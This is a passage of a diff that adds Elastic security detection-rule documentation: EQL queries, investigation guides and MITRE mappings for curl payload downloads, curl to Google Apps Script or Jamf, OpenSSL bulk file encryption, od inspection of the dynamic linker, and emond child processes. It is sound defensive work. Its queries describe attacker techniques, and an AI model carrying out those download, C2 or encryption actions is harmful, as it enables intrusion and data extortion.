written. +- Check the code signature of the parent application using the process.code_signature fields to determine if it is validly signed and if the signature matches known good versions. +- Investigate the origin of the suspicious application by reviewing installation logs, download history, and any recent DMG or PKG files that may have delivered the trojanized application. +- Search for any files created on disk around the time of the curl execution to identify downloaded payloads that may have been staged for execution. +- Correlate with other events on the same host to identify if the downloaded payload was subsequently executed. + + +*False positive analysis* + + +- Some legitimate applications may use curl for software updates or telemetry data collection. Verify the destination IP against the application vendor's known infrastructure. +- Development tools and IDEs may download dependencies or packages via curl during normal operations. Review the context and confirm with development teams. +- Homebrew and package managers may spawn curl from application contexts during installations. Verify if package management activities were expected. +- Add verified legitimate applications to the exclusion list in the query after confirming their behavior is expected. + + +*Response and remediation* + + +- Immediately quarantine the suspicious application by moving it to a secure location and removing it from /Applications to prevent further execution. +- Block the destination IP address at the network perimeter and on endpoint firewalls to prevent additional downloads. +- Search the file system for any payloads that may have been downloaded and quarantine them for analysis. +- Conduct a full malware scan on the affected system to identify any persistence mechanisms or additional malware components. +- Report the trojanized application to Apple Security and relevant threat intelligence sharing platforms. +- Review other systems in the environment for the same trojanized application to determine the scope of potential compromise. +- Investigate the delivery mechanism to understand how the trojanized application was installed and prevent future infections. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.args in ("-o", "--output", "--download", "-dl", "-dir", "--directory") and + process.args regex~ """http.*:\/\/[0-9]{2,3}.[0-9]{2,3}.[0-9]{2,3}.[0-9]{2,3}\/.*""" and + process.parent.name like~ ("bash", "sh", "zsh", "osascript", "tclsh*", "python*") and + process.Ext.effective_parent.executable like "/Applications/*" and + process.args_count <= 10 and + not process.args like "/Applications/*" and + not process.Ext.effective_parent.executable in ("/Applications/iTerm.app/Contents/MacOS/iTerm2", + "/Applications/Visual Studio Code.app/Contents/MacOS/Electron", + "/Applications/Warp.app/Contents/MacOS/stable") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-google-app-script-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-google-app-script-endpoint.asciidoc new file mode 100644 index 0000000000..ea6ad04f10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-google-app-script-endpoint.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-suspicious-curl-to-google-app-script-endpoint]] +=== Suspicious Curl to Google App Script Endpoint + +Detects the use of curl to a Google Script endpoint for the purpose of downloading a second stage payload or tool. Threat actors utilize exposed Google Script endpoints to host payloads as Google URLs are generally whitelisted and bypass security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.google.com/script/start/ +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl to Google App Script Endpoint* + + +Google Apps Script is a cloud-based development platform that allows users to extend Google Workspace functionality with custom scripts. Threat actors abuse this legitimate service to host malicious scripts that serve as command and control endpoints, taking advantage of the trusted domain reputation and SSL certificates. This detection rule identifies curl connections to Google Apps Script endpoints from macOS systems, which may indicate C2 communication or payload retrieval from attacker-controlled scripts. + + +*Possible investigation steps* + + +- Review the process.parent.executable and process.command_line fields to understand what application or script initiated the curl request to Google Apps Script. +- Extract the full URL from process.args to identify the specific Apps Script deployment being accessed and determine if it belongs to your organization. +- Analyze the process.Ext.effective_parent.executable to trace the execution chain and identify the root cause of the suspicious activity. +- Check Google Workspace admin logs if available to review the Apps Script deployment and its contents for malicious code. +- Investigate the user.name associated with the activity to determine if the behavior aligns with their normal duties. +- Review network response data if captured to identify any commands, payloads, or exfiltrated data transmitted via the Apps Script endpoint. +- Search for similar curl to Google Apps Script activity across other endpoints to assess the scope of potential compromise. + + +*False positive analysis* + + +- Legitimate business automation may use Google Apps Script for workflow integrations. Verify with the script owner and confirm the Apps Script belongs to your organization. +- MDM and management tools like Kandji may interact with Google services legitimately. These are already excluded in the query but verify if additional tools should be added. +- Marketing and analytics platforms may use Apps Script for data collection. Confirm these are sanctioned business applications. +- Development and testing activities may involve Apps Script integrations. Coordinate with development teams to understand expected activities. + + +*Response and remediation* + + +- Immediately block the suspicious Google Apps Script URL at the proxy or web filter to prevent ongoing C2 communication. +- Terminate the curl process and any parent processes that initiated the suspicious activity. +- Isolate the affected macOS system from the network while conducting forensic analysis. +- Report the malicious Apps Script to Google through their abuse reporting mechanisms to initiate takedown. +- Conduct a thorough scan of the affected system for additional malware, persistence mechanisms, or exfiltrated data. +- Review authentication logs for the affected user account and reset credentials if compromise is suspected. +- Search for similar activity across the environment to identify additional affected systems. +- Implement enhanced monitoring for connections to script.google.com from unexpected applications. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and process.name in ("curl", "nscurl") and + not process.Ext.effective_parent.executable like "/Library/Kandji/Kandji Agent.app/Contents/Helpers/Kandji Library Manager.app/Contents/MacOS/kandji-library-manager"] + [network where host.os.type == "macos" and event.type == "start" and process.name in ("curl", "nscurl") and + destination.domain in ("script.google.com", "script.google.com.")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-jamf-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-jamf-endpoint.asciidoc new file mode 100644 index 0000000000..1d8ef002e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-to-jamf-endpoint.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-suspicious-curl-to-jamf-endpoint]] +=== Suspicious Curl to Jamf Endpoint + +Detects curl requests to JAMF Pro endpoints from suspicious processes like unsigned binaries or scripting interpreters. This indicates potential abuse of stolen JAMF credentials for lateral movement in enterprise macOS environments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl to Jamf Endpoint* + + +Jamf Pro is a widely-used enterprise Apple device management platform that controls software deployment, security policies, and device configurations across macOS fleets. Threat actors who compromise Jamf credentials can leverage this access for devastating lateral movement, deploying malicious payloads to all managed devices or exfiltrating sensitive device inventory data. This detection rule identifies curl requests to Jamf endpoints originating from suspicious processes like unsigned binaries or scripting interpreters, which is inconsistent with legitimate Jamf management workflows. + + +*Possible investigation steps* + + +- Examine the process.command_line to identify the specific Jamf API endpoint being accessed and determine if it matches your organization's Jamf Pro server URL. +- Review the process.parent.executable and parent process details to understand how the curl request was initiated and trace back to the initial execution vector. +- Analyze the process.parent.code_signature fields to confirm whether the parent process is unsigned or has an untrusted signature. +- Correlate with Jamf Pro server logs to review authentication attempts, API calls, and any configuration changes made around the time of the alert. +- Check if any Jamf API credentials, tokens, or certificates were recently accessed or exfiltrated from the affected system. +- Review the user.name associated with the process to determine if the behavior is consistent with their role and normal activities. +- Search for similar curl requests to Jamf endpoints across other systems in the environment to identify potential widespread credential abuse. + + +*False positive analysis* + + +- Legitimate IT automation scripts may use curl to interact with Jamf APIs for approved management tasks. Verify the script ownership and purpose with IT operations. +- MDM troubleshooting by administrators may involve manual curl commands to test API connectivity. Confirm with IT staff if such activities were planned. +- Third-party integrations with Jamf may use scripting languages to automate device management. Review the integration documentation and verify legitimacy. +- Security testing and penetration testing activities may trigger this detection. Coordinate with security teams to document expected testing windows. + + +*Response and remediation* + + +- Immediately revoke or rotate the Jamf API credentials that may have been compromised. +- Block the source IP or endpoint from accessing the Jamf Pro server pending investigation. +- Review Jamf Pro audit logs for any unauthorized configuration changes, script deployments, or policy modifications. +- Check all managed devices for unauthorized software deployments or policy changes that may have been pushed via the compromised access. +- Terminate the suspicious process and quarantine any associated scripts or binaries for analysis. +- Implement IP allowlisting or certificate-based authentication for Jamf API access to prevent future unauthorized access. +- Reset credentials for any user accounts that may have had access to Jamf management credentials. +- Escalate to the incident response team for comprehensive investigation of potential enterprise-wide compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and process.command_line like "*https://jamf.*" and + ((process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false) or + process.parent.name in ("osascript", "node", "perl", "ruby") or + process.parent.name like "python*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-data-encryption-via-openssl-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-data-encryption-via-openssl-utility.asciidoc new file mode 100644 index 0000000000..f35ed49ec4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-data-encryption-via-openssl-utility.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-suspicious-data-encryption-via-openssl-utility]] +=== Suspicious Data Encryption via OpenSSL Utility + +Identifies when the openssl command-line utility is used to encrypt multiple files on a host within a short time window. Adversaries may encrypt data on a single or multiple systems in order to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ +* https://www.trendmicro.com/en_us/research/21/f/bash-ransomware-darkradiation-targets-red-hat--and-debian-based-linux-distributions.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Data Encryption via OpenSSL Utility* + + +OpenSSL is a widely-used command-line tool for secure data encryption and decryption. Adversaries may exploit OpenSSL to encrypt files rapidly across systems, aiming to disrupt data availability or demand ransom. The detection rule identifies suspicious OpenSSL usage by monitoring rapid file encryption activities, focusing on specific command patterns and excluding benign operations, thus highlighting potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process execution details on the host identified by host.id to confirm the presence of the openssl command and its associated arguments, ensuring they match the suspicious pattern specified in the query. +- Examine the user.name associated with the process to determine if the activity aligns with expected behavior for that user or if it indicates potential unauthorized access. +- Investigate the parent process identified by process.parent.entity_id to understand the context in which the openssl command was executed, checking for any unusual or unexpected parent processes. +- Check for any recent file modifications or creations on the host that coincide with the time window of the alert to assess the impact of the encryption activity. +- Look for additional related alerts or logs from the same host or user within a similar timeframe to identify any patterns or further suspicious activities that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate batch encryption operations by system administrators or automated scripts may trigger the rule. To handle this, identify and whitelist specific scripts or user accounts that perform regular encryption tasks. +- Backup processes that use OpenSSL for encrypting data before storage can be mistaken for malicious activity. Exclude known backup processes by specifying their parent process names or paths. +- Developers or security teams testing encryption functionalities might inadvertently match the rule's criteria. Create exceptions for development environments or specific user accounts involved in testing. +- Automated data transfer services that encrypt files for secure transmission could be flagged. Identify these services and exclude their associated processes or user accounts from the rule. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further spread of the encryption activity and potential lateral movement by the adversary. +- Terminate any suspicious OpenSSL processes identified on the host to halt ongoing encryption activities. +- Conduct a forensic analysis of the affected host to identify the scope of the encryption, including which files were encrypted and any potential data exfiltration. +- Restore encrypted files from the most recent clean backup to ensure data availability and integrity, ensuring that the backup is free from any malicious alterations. +- Change all credentials and keys that may have been exposed or used on the affected host to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for OpenSSL usage across the network to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.name, process.parent.entity_id with maxspan=5s + [ process where host.os.type == "linux" and event.action == "exec" and + process.name == "openssl" and process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl*", "php*", "python*", "xargs") and + process.args == "-in" and process.args == "-out" and + process.args in ("-k", "-K", "-kfile", "-pass", "-iv", "-md") and + /* excluding base64 encoding options and including encryption password or key params */ + not process.args in ("-d", "-a", "-A", "-base64", "-none", "-nosalt") and + not (process.parent.command_line == "bash -s" and process.args like "/root/recipes/recipes*") + ] with runs=10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-dynamic-linker-discovery-via-od.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-dynamic-linker-discovery-via-od.asciidoc new file mode 100644 index 0000000000..147ff713cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-dynamic-linker-discovery-via-od.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-20-suspicious-dynamic-linker-discovery-via-od]] +=== Suspicious Dynamic Linker Discovery via od + +Monitors for dynamic linker discovery via the od utility. od (octal dump) is a command-line utility in Unix operating systems used for displaying data in various formats, including octal, hexadecimal, decimal, and ASCII, primarily used for examining and debugging binary files or data streams. Attackers can leverage od to analyze the dynamic linker by identifying injection points and craft exploits based on the observed behaviors and structures within these files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Dynamic Linker Discovery via od* + + +The dynamic linker in Linux environments is crucial for loading shared libraries needed by programs. Attackers may exploit the `od` utility to inspect these linkers, seeking vulnerabilities for code injection. The detection rule identifies suspicious use of `od` targeting specific linker files, flagging potential reconnaissance activities that could precede an exploit attempt. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the 'od' utility, focusing on the process name and arguments to ensure they match the suspicious patterns identified in the query. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Check the system's process execution history for any other unusual or related activities around the same time, such as attempts to access or modify linker files. +- Analyze any network connections or data transfers initiated by the host around the time of the alert to identify potential data exfiltration or communication with known malicious IPs. +- Correlate this event with other security alerts or logs from the same host to identify patterns or sequences of actions that could indicate a broader attack campaign. + + +*False positive analysis* + + +- System administrators or developers may use the od utility to inspect dynamic linker files for legitimate debugging or system maintenance purposes. To handle this, create exceptions for known user accounts or processes that regularly perform these activities. +- Automated scripts or monitoring tools might invoke od on dynamic linker files as part of routine system checks. Identify these scripts and whitelist their execution paths to prevent unnecessary alerts. +- Security researchers or penetration testers could use od during authorized security assessments. Establish a process to temporarily disable the rule or add exceptions for the duration of the assessment to avoid false positives. +- Some software installations or updates might involve the use of od to verify linker integrity. Monitor installation logs and correlate with od usage to determine if the activity is benign, and consider adding exceptions for these specific scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes associated with the `od` utility that are targeting dynamic linker files to halt any ongoing reconnaissance or exploitation attempts. +- Conduct a thorough review of system logs and process execution history to identify any unauthorized access or modifications to the dynamic linker files. +- Restore any altered or compromised dynamic linker files from a known good backup to ensure system integrity. +- Implement stricter access controls and monitoring on critical system files, including dynamic linkers, to prevent unauthorized access and modifications. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected or if there is a broader threat campaign. +- Update detection and monitoring systems to enhance visibility and alerting for similar suspicious activities involving the `od` utility and critical system files. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") + and process.name == "od" and process.args in ( + "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/etc/ld.so.preload", "/lib64/ld-linux-x86-64.so.2", + "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib64/ld-linux-x86-64.so.2" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-emond-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-emond-child-process.asciidoc new file mode 100644 index 0000000000..7790cb5934 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-emond-child-process.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-20-suspicious-emond-child-process]] +=== Suspicious Emond Child Process + +Identifies the execution of a suspicious child process of the Event Monitor Daemon (emond). Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.xorrior.com/emond-persistence/ +* https://www.elastic.co/security-labs/handy-elastic-tools-for-the-enthusiastic-detection-engineer + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Emond Child Process* + + +The Event Monitor Daemon (emond) on macOS is a service that executes commands based on system events, like startup or user login. Adversaries exploit emond by crafting rules that trigger malicious scripts or commands during these events, enabling persistence. The detection rule identifies unusual child processes spawned by emond, such as shell scripts or command-line utilities, which are indicative of potential abuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed emond and check the specific child process name against the list of suspicious processes such as bash, python, or curl. +- Investigate the command line arguments used by the suspicious child process to identify any potentially malicious commands or scripts being executed. +- Check the timing of the event to see if it coincides with known system events like startup or user login, which could indicate an attempt to establish persistence. +- Examine the user account associated with the process to determine if it is a legitimate user or potentially compromised account. +- Look for any recent changes to emond rules or configuration files that could have been modified to trigger the suspicious process execution. +- Correlate this event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they use shell scripts or command-line utilities. Review scheduled tasks or maintenance scripts and exclude them if they are verified as non-threatening. +- Legitimate software installations or updates might spawn processes like bash or curl. Monitor installation logs and exclude these processes if they align with known software updates. +- User-initiated scripts for automation or customization can cause alerts. Verify the user's intent and exclude these processes if they are part of regular user activity. +- Administrative tasks performed by IT staff, such as using launchctl for service management, may trigger the rule. Confirm these activities with IT staff and exclude them if they are part of routine administration. +- Development environments on macOS might use interpreters like Python or Perl. Validate the development activities and exclude these processes if they are consistent with the developer's workflow. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious child processes spawned by emond, such as shell scripts or command-line utilities, to halt ongoing malicious actions. +- Review and remove any unauthorized or suspicious emond rules that may have been added to execute malicious commands during system events. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Restore any altered or deleted system files from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for emond and related processes to detect similar threats in the future, ensuring alerts are configured for unusual child processes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a 